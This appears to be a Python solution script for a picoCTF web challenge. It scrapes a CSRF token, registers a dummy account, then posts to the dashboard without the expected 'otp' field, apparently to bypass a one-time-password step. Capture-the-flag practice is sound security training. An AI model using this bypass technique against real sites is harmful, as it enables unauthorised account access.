36 lines
881 B
Python
Executable File
36 lines
881 B
Python
Executable File
#!/usr/bin/env nix-shell
|
|
#!nix-shell -p python3 -i python3 python3Packages.requests python3Packages.beautifulsoup4
|
|
|
|
import requests
|
|
from bs4 import BeautifulSoup
|
|
|
|
BASE_URL = "http://titan.picoctf.net:65280/"
|
|
|
|
def main():
|
|
s = requests.Session()
|
|
|
|
# Get cookie + csrf
|
|
res = s.get(BASE_URL).text
|
|
csrf = BeautifulSoup(res, features = 'html.parser').find('input', {'name': 'csrf_token'})['value']
|
|
|
|
res = s.post(
|
|
BASE_URL,
|
|
data = {
|
|
'csrf_token': csrf,
|
|
'full_name': 'a',
|
|
'username': 'b',
|
|
'phone_number': 'c',
|
|
'city': 'd',
|
|
'password': 'e',
|
|
'submit': 'Register',
|
|
},
|
|
)
|
|
|
|
# NOTE: this is broken if it doesn't get the 'otp' argument it expects
|
|
res = s.post(BASE_URL + 'dashboard')
|
|
print(res)
|
|
print(res.text)
|
|
|
|
if __name__ == "__main__":
|
|
main()
|